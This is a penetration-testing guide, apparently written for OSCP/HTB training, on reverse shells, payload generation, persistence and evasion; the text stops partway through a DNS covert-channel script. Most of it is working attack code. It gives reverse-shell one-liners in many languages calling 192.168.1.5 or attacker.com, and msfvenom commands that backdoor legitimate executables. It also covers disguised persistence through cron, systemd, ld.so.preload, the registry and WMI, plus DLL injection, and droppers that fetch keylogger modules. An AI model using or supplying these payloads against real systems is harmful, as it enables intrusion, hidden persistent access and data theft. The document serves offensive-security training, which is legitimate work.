Penetration Testing - Reverse Shells & Payload Generation Guide
Category: Penetration Testing - Phase 7
Tags: oscp, htb, reverse-shells, payloads, msfvenom, shell-stabilization, persistence, evasion
Reverse Shells & Payload Generation Methodology
What this phase covers: Comprehensive techniques for generating, delivering, and maintaining reverse shells across multiple platforms and scenarios. Includes payload creation, shell stabilization, persistence mechanisms, and evasion techniques.
Why reverse shell mastery is critical: Reverse shells are the primary method for maintaining access to compromised systems. HTB/OSCP scenarios heavily rely on reverse shell establishment and management. Proper shell handling often determines engagement success.
HTB/OSCP Reverse Shell Approach: Payload generation → Delivery mechanism → Shell establishment → Stabilization → Persistence → Evasion → Advanced techniques.
Reverse Shell Fundamentals
Understanding Reverse Shell Concepts
What reverse shells are: Network connections initiated from the target system back to the attacker's machine, bypassing firewall restrictions that typically block inbound connections.
Why reverse shells are essential: Most networks block inbound connections but allow outbound traffic. Reverse shells leverage this asymmetry to establish persistent access through egress-allowed protocols.
Reverse shell vs. Bind shell:
- Reverse Shell: Target connects back to attacker (bypasses firewalls)
- Bind Shell: Target listens, attacker connects (often blocked by firewalls)
# Basic reverse shell concepts demonstration
# Attacker machine (listener)
nc -lvp 4444 # Netcat listener on port 4444
# Target machine (reverse connection)
bash -i >& /dev/tcp/192.168.1.5/4444 0>&1 # Bash reverse shell
# Why reverse shells work:
# - Outbound connections typically allowed
# - Bypass NAT/firewall restrictions
# - Use legitimate protocols (HTTP, DNS, etc.)
# - Establish persistent command and control
# - Enable interactive system access
# Common reverse shell protocols and ports
# HTTP/HTTPS (80/443) - Often allowed through firewalls
# DNS (53) - Universal protocol, rarely blocked
# SSH (22) - Legitimate administrative protocol
# Custom high ports (1024+) - Less monitored
# Reverse shell workflow
# 1. Generate appropriate payload for target platform
# 2. Establish listener on attacker machine
# 3. Execute payload on target system
# 4. Receive incoming connection
# 5. Stabilize shell for interactive use
# 6. Establish persistence mechanisms
Multi-Platform Reverse Shell Generation
What platform-specific shells require: Different operating systems, programming languages, and environments need tailored reverse shell approaches for optimal compatibility and stealth.
Why platform awareness matters: Shell syntax varies significantly between platforms. Proper platform targeting improves reliability and reduces detection probability.
# Linux/Unix reverse shells
# Bash reverse shell (most common)
bash -i >& /dev/tcp/192.168.1.5/4444 0>&1
# Alternative syntax for different bash versions
bash -c 'bash -i >& /dev/tcp/192.168.1.5/4444 0>&1'
# Netcat reverse shells (if available)
nc -e /bin/bash 192.168.1.5 4444 # Traditional netcat with -e flag
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.5 4444 >/tmp/f # FIFO-based netcat
# Python reverse shells
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.5",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
# Python3 version
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.5",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
# Perl reverse shell
perl -e 'use Socket;$i="192.168.1.5";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# PHP reverse shell
php -r '$sock=fsockopen("192.168.1.5",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
# Ruby reverse shell
ruby -rsocket -e'f=TCPSocket.open("192.168.1.5",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
# Windows reverse shells
# PowerShell reverse shell (Windows)
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.5',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
# PowerShell one-liner (encoded)
powershell -EncodedCommand <base64_encoded_command>
# Netcat for Windows (if available)
nc.exe -e cmd.exe 192.168.1.5 4444
# Windows Script Host (VBScript)
echo strUrl = "http://192.168.1.5:4444" : Set objHTTP = CreateObject("MSXML2.XMLHTTP") : objHTTP.open "GET", strUrl, false : objHTTP.send : eval objHTTP.responseText > shell.vbs
# Why multiple language support is crucial:
# - Different systems have different interpreters available
# - Some languages bypass specific security controls
# - Language-specific features enable advanced techniques
# - Redundancy improves success probability
# - Platform optimization enhances stealth
Advanced Payload Generation with msfvenom
msfvenom Comprehensive Usage
What msfvenom provides: Metasploit's payload generation tool that creates shellcode, executables, and scripts in multiple formats with extensive customization options.
Why msfvenom is essential: Industry-standard payload generator, supports all major platforms, provides encoding/encryption, handles bad character restrictions, and integrates with exploitation frameworks.
# msfvenom syntax and basic usage
# msfvenom -p <payload> <options> -f <format> <output_options>
# List available payloads
msfvenom --list payloads # All available payloads
msfvenom --list payloads | grep windows # Windows-specific payloads
msfvenom --list payloads | grep linux # Linux-specific payloads
msfvenom --list payloads | grep python # Python-based payloads
# List available formats
msfvenom --list formats # All output formats
# List available encoders
msfvenom --list encoders # Payload encoders
# Windows payload generation
# Basic Windows reverse shell executable
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe -o shell.exe
# Windows Meterpreter reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe -o meterpreter.exe
# 64-bit Windows payloads
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe -o shell64.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe -o meterpreter64.exe
# Stageless vs Staged payloads
# Staged payload (smaller initial size, downloads stage 2)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe -o staged.exe
# Stageless payload (entire payload in one piece)
msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe -o stageless.exe
# Linux payload generation
# Linux ELF executable
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f elf -o shell
# Linux 64-bit executable
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f elf -o shell64
# Linux Meterpreter
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f elf -o meterpreter_linux
# Web application payloads
# PHP web shell
msfvenom -p php/reverse_php LHOST=192.168.1.5 LPORT=4444 -f raw -o shell.php
# ASP web shell
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f asp -o shell.asp
# JSP web shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f raw -o shell.jsp
# Python payload
msfvenom -p python/shell_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f raw -o shell.py
# PowerShell payload
msfvenom -p windows/powershell_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f raw -o shell.ps1
# Why comprehensive payload generation is essential:
# - Different targets require different payload types
# - Format flexibility enables various delivery methods
# - Platform-specific optimizations improve reliability
# - Staged vs stageless options for different scenarios
# - Web application integration requires specific formats
Encoding and Evasion Techniques
What payload encoding provides: Obfuscation techniques to bypass signature-based detection, handle bad characters, and evade antivirus/EDR solutions.
Why encoding is crucial: Raw payloads are easily detected by security tools. Encoding transforms payloads while preserving functionality, improving evasion rates.
# Basic payload encoding
# Shikata Ga Nai encoder (polymorphic)
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -e x86/shikata_ga_nai -f exe -o encoded_shell.exe
# Multiple encoding iterations
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -e x86/shikata_ga_nai -i 3 -f exe -o multi_encoded.exe
# Different encoder types
# Alpha Mixed encoder (alphanumeric only)
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -e x86/alpha_mixed -f exe -o alpha_shell.exe
# Unicode Mixed encoder
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -e x86/unicode_mixed -f exe -o unicode_shell.exe
# Bad character avoidance
# Avoid null bytes, carriage returns, and line feeds
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -b "\x00\x0a\x0d" -f exe -o badchar_avoided.exe
# Multiple bad characters
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -b "\x00\x0a\x0d\x20\x26" -e x86/shikata_ga_nai -f exe -o complex_avoided.exe
# Format-specific encoding
# C format with encoding (for buffer overflows)
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -b "\x00\x0a\x0d" -e x86/shikata_ga_nai -f c
# Python format with encoding
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -e x86/shikata_ga_nai -f python
# PowerShell format with encoding
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -e x86/shikata_ga_nai -f psh
# Template injection for stealth
# Inject payload into legitimate executable
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -x /path/to/template.exe -k -f exe -o injected.exe
# -x: Template executable
# -k: Keep template functionality
# Custom template with specific properties
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -x notepad.exe -k -f exe -o notepad_backdoor.exe
# Why advanced encoding is necessary:
# - Bypasses signature-based detection
# - Handles environment-specific character restrictions
# - Provides polymorphic behavior
# - Template injection maintains legitimacy
# - Multiple iterations increase evasion probability
Custom Payload Development
What custom payloads provide: Tailored solutions for specific environments, advanced evasion techniques, and specialized functionality not available in standard payloads.
# Custom shellcode development process
# Step 1: Write assembly code for specific functionality
cat > custom_shell.asm << 'EOF'
section .text
global _start
_start:
; Custom reverse shell assembly code
; Socket creation
push 0x2
pop eax
cdq
push 0x1
pop ebx
push 0x6
pop ecx
int 0x80 ; sys_socket
; Connection setup
mov edi, eax ; save socket fd
push 0x0100007f ; IP address (127.0.0.1)
push word 0x5c11 ; Port 4444
push 0x2
mov ecx, esp
push byte 0x10
push ecx
push edi
mov al, 0x3
int 0x80 ; sys_connect
; Duplicate file descriptors
xor ecx, ecx
mov cl, 0x2
mov al, 0x3f
dup_loop:
int 0x80 ; sys_dup2
dec ecx
jns dup_loop
; Execute shell
push 0x68732f2f ; //sh
push 0x6e69622f ; /bin
mov ebx, esp
push edx
push ebx
mov ecx, esp
mov al, 0xb
int 0x80 ; sys_execve
EOF
# Step 2: Compile and extract shellcode
nasm -f elf32 custom_shell.asm -o custom_shell.o
ld -m elf_i386 custom_shell.o -o custom_shell
objdump -d custom_shell | grep "^ " | cut -f2 | tr -d ' ' | tr -d '\n' | sed 's/../\\x&/g'
# Custom Windows shellcode (using C)
cat > windows_shell.c << 'EOF'
#include <windows.h>
#include <winsock2.h>
int main() {
WSADATA wsaData;
SOCKET sock;
struct sockaddr_in addr;
STARTUPINFO si;
PROCESS_INFORMATION pi;
WSAStartup(MAKEWORD(2,2), &wsaData);
sock = socket(AF_INET, SOCK_STREAM, 0);
addr.sin_family = AF_INET;
addr.sin_port = htons(4444);
addr.sin_addr.s_addr = inet_addr("192.168.1.5");
connect(sock, (struct sockaddr*)&addr, sizeof(addr));
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
return 0;
}
EOF
# Cross-compile for Windows
i686-w64-mingw32-gcc windows_shell.c -o windows_shell.exe -lws2_32
# Python-based custom payload generator
cat > custom_payload_gen.py << 'EOF'
#!/usr/bin/env python3
import base64
import random
import string
def generate_powershell_payload(lhost, lport):
"""Generate obfuscated PowerShell reverse shell"""
ps_template = f'''
$s = New-Object System.Net.Sockets.TCPClient('{lhost}',{lport});
$st = $s.GetStream();
[byte[]]$b = 0..65535|%{{0}};
while(($i = $st.Read($b, 0, $b.Length)) -ne 0){{
$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);
$sb = (iex $d 2>&1 | Out-String );
$sb2 = $sb + 'PS ' + (pwd).Path + '> ';
$sbt = ([text.encoding]::ASCII).GetBytes($sb2);
$st.Write($sbt,0,$sbt.Length);
$st.Flush()
}};
$s.Close()
'''
# Variable name obfuscation
var_names = [''.join(random.choices(string.ascii_letters, k=random.randint(3,8))) for _ in range(10)]
# Base64 encoding
ps_bytes = ps_template.encode('utf-16le')
ps_encoded = base64.b64encode(ps_bytes).decode()
return f"powershell -EncodedCommand {ps_encoded}"
def generate_python_payload(lhost, lport):
"""Generate obfuscated Python reverse shell"""
py_template = f'''
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('{lhost}',{lport}))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
'''
# Base64 encoding for obfuscation
py_encoded = base64.b64encode(py_template.encode()).decode()
return f"python3 -c 'import base64;exec(base64.b64decode(\"{py_encoded}\").decode())'"
# Usage
print("PowerShell payload:")
print(generate_powershell_payload("192.168.1.5", 4444))
print("\nPython payload:")
print(generate_python_payload("192.168.1.5", 4444))
EOF
# Why custom payload development is valuable:
# - Bypasses signature detection for known payloads
# - Provides specific functionality for unique scenarios
# - Enables advanced obfuscation techniques
# - Allows platform-specific optimizations
# - Creates unique IoCs that aren't in threat databases
Shell Stabilization and Upgrade Techniques
Basic Shell Stabilization
What shell stabilization involves: Converting basic reverse shells into fully interactive TTY shells with proper signal handling, command history, and terminal features.
Why stabilization is essential: Basic shells lack important features like tab completion, command history, proper signal handling, and may break with certain commands. Stabilized shells provide full terminal functionality.
# Initial reverse shell connection (basic, unstable)
# Attacker machine
nc -lvp 4444
# Target machine returns basic shell
# Limited functionality, no job control, breaks easily
# Python TTY stabilization (most common method)
# Inside the basic shell:
python -c 'import pty; pty.spawn("/bin/bash")'
# Or for Python3:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# This provides a proper TTY, but still limited
# Full TTY stabilization process
# Step 1: Spawn TTY shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Step 2: Background the shell (Ctrl+Z)
# [Ctrl+Z pressed]
# Step 3: Configure local terminal
stty raw -echo; fg
# 'stty raw -echo' disables echo and enables raw mode
# 'fg' brings the shell back to foreground
# Step 4: Reset terminal (in the shell)
reset
# This resets terminal settings
# Step 5: Set environment variables
export SHELL=/bin/bash
export TERM=xterm-256color
# Alternative stabilization methods
# Using script command
script -qc /bin/bash /dev/null
# Using expect (if available)
expect -c "spawn bash; interact"
# Using socat for full TTY
# Attacker machine (listener)
socat file:`tty`,raw,echo=0 tcp-listen:4444
# Target machine (connector)
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.5:4444
# Why proper stabilization is crucial:
# - Enables interactive programs (vi, nano, su, sudo)
# - Provides proper signal handling (Ctrl+C, Ctrl+Z)
# - Allows job control and process management
# - Enables command history and tab completion
# - Prevents shell from breaking on certain commands
Advanced Shell Upgrade Techniques
What advanced upgrades provide: Enhanced functionality, persistence, and stealth through shell enhancement and environment modification.
# Shell upgrade to Meterpreter
# From existing shell session in Metasploit
sessions -u 1 # Upgrade session 1 to Meterpreter
# Manual Meterpreter upgrade
# Generate Meterpreter executable
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4445 -f elf -o meterpreter_upgrade
# Transfer and execute from existing shell
wget http://192.168.1.5:8000/meterpreter_upgrade
chmod +x meterpreter_upgrade
./meterpreter_upgrade
# SSH key installation for persistent access
# Generate SSH key pair
ssh-keygen -t rsa -b 4096 -f ~/.ssh/target_key
# Install public key on target (from existing shell)
mkdir -p ~/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC..." >> ~/.ssh/authorized_keys
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
# Connect with SSH key
ssh -i ~/.ssh/target_key user@target.com
# Shell enhancement with additional tools
# Install common penetration testing tools
curl -s https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash
curl -s https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/linPEAS/linpeas.sh | bash
# Create custom shell environment
cat > ~/.bashrc << 'EOF'
# Custom aliases for penetration testing
alias ll='ls -la'
alias la='ls -A'
alias l='ls -CF'
alias ..='cd ..'
alias ...='cd ../..'
alias grep='grep --color=auto'
alias fgrep='fgrep --color=auto'
alias egrep='egrep --color=auto'
# Custom functions
find_suid() { find / -perm -4000 -type f 2>/dev/null; }
find_guid() { find / -perm -2000 -type f 2>/dev/null; }
find_world_writable() { find / -writable -type d 2>/dev/null; }
# Enhanced prompt
PS1='\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
EOF
source ~/.bashrc
# Advanced shell features
# Command history manipulation
export HISTSIZE=10000
export HISTFILESIZE=10000
export HISTCONTROL=ignoredups:erasedups
# Shell completion enhancement
if [ -f /etc/bash_completion ]; then
. /etc/bash_completion
fi
# Why advanced shell upgrades are valuable:
# - Provides persistent, legitimate access methods
# - Enhances operational capabilities
# - Improves stealth through normal tool usage
# - Enables complex multi-session scenarios
# - Supports advanced penetration testing workflows
Persistence Mechanisms
Windows Persistence Techniques
What Windows persistence involves: Maintaining access to Windows systems through various autostart mechanisms, service installations, and scheduled tasks that survive reboots and user logouts.
# Registry-based persistence
# Current User autorun
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityUpdate" /t REG_SZ /d "powershell -WindowStyle Hidden -c \"IEX(New-Object Net.WebClient).downloadString('http://192.168.1.5/shell.ps1')\""
# Local Machine autorun (requires admin)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /t REG_SZ /d "C:\Windows\System32\shell.exe"
# Service-based persistence
# Create Windows service
sc create "SecurityService" binpath= "C:\Windows\System32\shell.exe" start= auto DisplayName= "Windows Security Service"
sc description "SecurityService" "Provides enhanced security monitoring for Windows systems"
sc start "SecurityService"
# Scheduled task persistence
# Create scheduled task to run at logon
schtasks /create /tn "SystemOptimizer" /tr "powershell -WindowStyle Hidden -c \"IEX(New-Object Net.WebClient).downloadString('http://192.168.1.5/shell.ps1')\"" /sc onlogon /ru "System" /f
# Create scheduled task to run periodically
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\System32\shell.exe" /sc minute /mo 30 /ru "System" /f
# WMI event subscription persistence
# Create WMI event filter
$filter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{
Name="ProcessFilter";
EventNameSpace="root\cimv2";
QueryLanguage="WQL";
Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
}
# Create WMI event consumer
$consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{
Name="ProcessConsumer";
CommandLineTemplate="powershell.exe -WindowStyle Hidden -c \"IEX(New-Object Net.WebClient).downloadString('http://192.168.1.5/shell.ps1')\""
}
# Bind filter to consumer
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$filter;Consumer=$consumer}
# Startup folder persistence
# Copy payload to startup folder
copy shell.exe "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SecurityUpdate.exe"
# DLL hijacking persistence
# Place malicious DLL in application directory
copy malicious.dll "C:\Program Files\Application\legitimate.dll"
# Why multiple Windows persistence methods:
# - Different methods survive different defensive actions
# - Registry methods are common but well-monitored
# - Service persistence provides system-level access
# - WMI persistence is advanced and stealthy
# - Scheduled tasks provide flexible execution timing
Linux Persistence Techniques
What Linux persistence involves: Maintaining access through cron jobs, service installations, SSH keys, and system configuration modifications.
# Cron-based persistence
# User-level cron job
(crontab -l ; echo "*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.5/4444 0>&1'") | crontab -
# System-wide cron job (requires root)
echo "*/10 * * * * root /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.5/4444 0>&1'" >> /etc/crontab
# SSH key persistence
# Generate and install SSH key
ssh-keygen -t rsa -b 4096 -f /tmp/backdoor_key -N ""
mkdir -p ~/.ssh
cat /tmp/backdoor_key.pub >> ~/.ssh/authorized_keys
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
# Service-based persistence (systemd)
cat > /etc/systemd/system/system-update.service << 'EOF'
[Unit]
Description=System Update Service
After=network.target
[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.5/4444 0>&1'
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
EOF
systemctl enable system-update.service
systemctl start system-update.service
# .bashrc persistence
echo 'nohup bash -c "bash -i >& /dev/tcp/192.168.1.5/4444 0>&1" 2>/dev/null &' >> ~/.bashrc
# Kernel module persistence (advanced)
# Create loadable kernel module for rootkit functionality
# Requires kernel development knowledge
# MOTD persistence
echo 'bash -i >& /dev/tcp/192.168.1.5/4444 0>&1 &' >> /etc/update-motd.d/00-header
# APT backdoor (for systems using APT)
echo 'DPkg::Pre-Install-Pkgs {"/bin/bash -c \"bash -i >& /dev/tcp/192.168.1.5/4444 0>&1\"";};' >> /etc/apt/apt.conf
# Library hijacking persistence
# Create malicious shared library
cat > /tmp/libhijack.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
if (fork() == 0) {
system("bash -c 'bash -i >& /dev/tcp/192.168.1.5/4444 0>&1'");
}
}
EOF
gcc -shared -fPIC -nostartfiles -o /lib/libhijack.so /tmp/libhijack.c
echo "/lib/libhijack.so" >> /etc/ld.so.preload
# Why multiple Linux persistence methods:
# - Cron jobs provide scheduled execution
# - SSH keys enable legitimate access
# - Services provide system-level persistence
# - Shell profiles trigger on user login
# - MOTD triggers on SSH connections
# - Library hijacking affects system-wide execution
Evasion and Stealth Techniques
Antivirus and EDR Evasion
What AV/EDR evasion involves: Techniques to bypass signature-based detection, behavioral analysis, and endpoint detection and response systems.
Why evasion is critical: Modern security tools detect most standard payloads. Evasion techniques are essential for successful payload delivery in defended environments.
# Payload obfuscation techniques
# PowerShell obfuscation using Invoke-Obfuscation
# Download and use Invoke-Obfuscation framework
Import-Module .\Invoke-Obfuscation.psd1
Invoke-Obfuscation
# Within Invoke-Obfuscation:
# SET SCRIPTPATH C:\path\to\payload.ps1
# TOKEN\ALL\1 # Obfuscate all tokens
# OUT C:\path\to\obfuscated.ps1
# Manual PowerShell obfuscation
# Base64 encoding with compression
$originalPayload = 'IEX(New-Object Net.WebClient).downloadString("http://192.168.1.5/shell.ps1")'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($originalPayload)
$compressed = [System.IO.Compression.GZipStream]::new([System.IO.MemoryStream]$bytes, [System.IO.Compression.CompressionMode]::Compress)
$encodedPayload = [Convert]::ToBase64String($compressed.ToArray())
# Variable name randomization
$randomVar1 = Get-Random
$randomVar2 = Get-Random
$payload = "`$randomVar1 = [System.Convert]::FromBase64String('$encodedPayload'); IEX([System.Text.Encoding]::Unicode.GetString(`$randomVar1))"
# Payload delivery through legitimate services
# Pastebin delivery
$pastebinUrl = "https://pastebin.com/raw/abcd1234"
powershell -c "IEX(New-Object Net.WebClient).downloadString('$pastebinUrl')"
# GitHub delivery
$githubUrl = "https://raw.githubusercontent.com/user/repo/main/payload.ps1"
powershell -c "IEX(New-Object Net.WebClient).downloadString('$githubUrl')"
# Discord webhook delivery
$discordWebhook = "https://discord.com/api/webhooks/123456789/abcdef"
# Upload payload as file attachment, then download
# Process hollowing technique (advanced)
cat > process_hollow.c << 'EOF'
#include <windows.h>
#include <stdio.h>
int main() {
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
// Create suspended process
CreateProcess(NULL, "svchost.exe", NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// Hollow out process memory and inject payload
// (Detailed implementation would be much longer)
// Resume execution with injected payload
ResumeThread(pi.hThread);
return 0;
}
EOF
# DLL injection technique
cat > dll_inject.c << 'EOF'
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
// Execute payload when DLL is loaded
system("powershell -c \"IEX(New-Object Net.WebClient).downloadString('http://192.168.1.5/shell.ps1')\"");
}
return TRUE;
}
EOF
# Compile DLL
x86_64-w64-mingw32-gcc -shared -o malicious.dll dll_inject.c
# Memory-only execution (fileless)
# PowerShell reflection to load assembly from memory
$assembly = [System.Reflection.Assembly]::Load($payloadBytes)
$type = $assembly.GetType("PayloadNamespace.PayloadClass")
$method = $type.GetMethod("ExecutePayload")
$method.Invoke($null, $null)
# Why advanced evasion is necessary:
# - Signature-based detection catches known payloads
# - Behavioral analysis detects suspicious activities
# - EDR systems monitor process execution chains
# - Memory-only execution avoids file-based detection
# - Process hollowing hides malicious code in legitimate processes
Network-Level Evasion
What network evasion involves: Disguising reverse shell traffic as legitimate network communications to bypass network-based detection systems.
# HTTPS reverse shells (encrypted, appears legitimate)
# Generate SSL certificate
openssl req -x509 -newkey rsa:4096 -keyout server.key -out server.cert -days 365 -nodes
# HTTPS listener using socat
socat OPENSSL-LISTEN:443,cert=server.cert,key=server.key,fork EXEC:/bin/bash
# HTTPS reverse shell client
socat OPENSSL:attacker.com:443,verify=0 EXEC:"/bin/bash -li",pty,stderr,setsid,sigint,sane
# DNS-based reverse shells
# Use DNS queries to exfiltrate data and receive commands
nslookup $(echo "whoami" | base64).tunnel.attacker.com
# HTTP-based reverse shells using user agents
# Embed commands in HTTP User-Agent headers
curl -H "User-Agent: $(echo 'ls -la' | base64)" http://attacker.com/beacon
# WebSocket reverse shells
cat > websocket_shell.html << 'EOF'
<script>
var ws = new WebSocket("ws://attacker.com:8080");
ws.onopen = function() {
ws.send("Connected from: " + location.hostname);
};
ws.onmessage = function(event) {
var xhr = new XMLHttpRequest();
xhr.open("POST", "data:,", false);
xhr.send(eval(event.data));
ws.send(xhr.responseText);
};
</script>
EOF
# ICMP reverse shells (appears as ping traffic)
# Custom ICMP payload with embedded commands
ping -c 1 -p $(echo "id" | xxd -p) attacker.com
# Social media C2 channels
# Use Twitter, Facebook, or other platforms for command and control
# Commands embedded in posts, responses in comments
# Domain fronting (cloud service evasion)
# Route traffic through legitimate cloud services
curl -H "Host: legit-service.com" https://cdn.cloudfront.net/malicious-endpoint
# Why network evasion is essential:
# - Network monitoring detects suspicious traffic patterns
# - Legitimate protocols bypass most firewall rules
# - Encrypted channels prevent content inspection
# - Social media channels appear as normal user activity
# - Domain fronting makes traffic analysis difficult
Advanced Reverse Shell Techniques
Multi-Stage Payloads
What multi-stage payloads provide: Sophisticated delivery mechanisms that download and execute additional stages, providing flexibility and advanced evasion capabilities.
# Multi-stage PowerShell payload
# Stage 1: Initial dropper (small, basic)
powershell -c "$wc = New-Object System.Net.WebClient; $wc.DownloadString('http://attacker.com/stage2.ps1') | IEX"
# Stage 2: Advanced payload with capabilities
cat > stage2.ps1 << 'EOF'
# Download and execute additional modules
$modules = @(
"http://attacker.com/keylogger.ps1",
"http://attacker.com/screenshot.ps1",
"http://attacker.com/persistence.ps1"
)
foreach ($module in $modules) {
try {
$wc = New-Object System.Net.WebClient
$wc.DownloadString($module) | IEX
} catch {
# Silently continue if module fails
}
}
# Establish reverse shell
$client = New-Object System.Net.Sockets.TCPClient('attacker.com',4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
EOF
# Python multi-stage payload
cat > dropper.py << 'EOF'
#!/usr/bin/env python3
import urllib.request
import base64
import subprocess
# Download and execute stage 2
try:
response = urllib.request.urlopen('http://attacker.com/stage2_encoded')
stage2 = base64.b64decode(response.read()).decode()
exec(stage2)
except:
# Fallback to alternative method
subprocess.run(['curl', '-s', 'http://backup.attacker.com/fallback.sh', '|', 'bash'], shell=True)
EOF
# Staged msfvenom payload
# Stage 1: Small loader
msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker.com LPORT=4444 -f exe -o stage1.exe
# Stage 2: Full meterpreter payload downloaded after connection
# Automatically handled by Metasploit framework
# Why multi-stage payloads are advantageous:
# - Smaller initial payload size
# - Modular functionality loading
# - Adaptive capability based on environment
# - Harder to analyze complete functionality
# - Fallback mechanisms for reliability
Covert Channel Communication
What covert channels provide: Hidden communication methods that disguise command and control traffic within legitimate protocols or data streams.
# DNS covert channel implementation
cat > dns_covert.py << 'EOF'
#!/usr/bin/env python3
import dns.resolver
import base64
import time
import subprocess
def send_data(data, domain):
